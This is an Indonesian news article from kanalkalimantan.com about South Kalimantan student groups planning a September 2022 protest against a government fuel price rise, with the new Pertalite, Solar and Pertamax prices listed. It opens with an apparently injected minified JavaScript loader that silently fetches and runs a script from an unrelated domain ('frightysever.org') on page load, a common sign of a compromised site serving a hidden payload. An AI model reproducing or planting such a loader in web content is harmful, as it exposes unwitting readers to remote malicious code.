(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Tolak Kenaikan BBM, BEM se-Kalsel Akan Gelar Aksi Depan DPRD Provinsi

KANALKALIMANTAN.COM, BANJARMASIN – Badan Eksekutif Mahasiswa (BEM) se-Kalimantan Selatan dalam waktu dekat akan menggelar aksi menolak kenaikan Bahan Bakar Minyak (BBM). Hal tersebut disampaikan Ketua Umum BEM Se-Kalsel Yogi Ilmawan setelah dikonfirmasi oleh kanalkalimantan.com pada Senin (5/9/2022) malam.

Kata Yogi, untuk pelaksanaan masih belum bisa dipastikan antara tanggal 7 atau 8 September, karena menunggu keputusan bersama BEM se-kalsel.

“Kami masih belum bisa memastikan, kepastiannya ada di malam hari ini. Tapi kami mencanangkan aksinya antara tanggal 7 atau 8 Septmber 2022,” katanya.

“Kemungkinan besar kita akan kerahkan massa untuk memadati depan kantor DPRD Provinsi Kalsel,” tambah Yogi yang juga menjabat sebagai Ketum DEMA UIN Antasari tersebut.

Adapun yang menjadi tuntutan dari Badan Eksekutif Mahasiswa (BEM) se-Kalsel nantinya secara garis besar terkait penolakan kenaikan BBM yang baru saja diumumkan oleh pemerintah.

Sebelumnya pemerintah melalui Menteri ESDM Arifin Tasrif mengumumkan kenaikan BBM jenis pertalite, solar dan Pertamax pada Sabtu, (3/9/2022) melalui press relis kanal YouTube sekretariat Presiden.

Adapun rincian kenaikan harga BBM tersebut yaitu :

1. Pertalite subsidi dari Rp 7.650 per liter naik menjadi 10.000 per liter

2. Solar subsidi dari 5.150 per liter naik menjadi 6.800 per liter

3. Pertamax non subsidi dari Rp 12.500 per liter naik menjadi 14.500 per liter.

Kenaikan tersebut berlaku dari per Sabtu, 3 September 2022 pukul 14:30 WIB di SPBU Pertamina seluruh Indonesia.
(Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : cell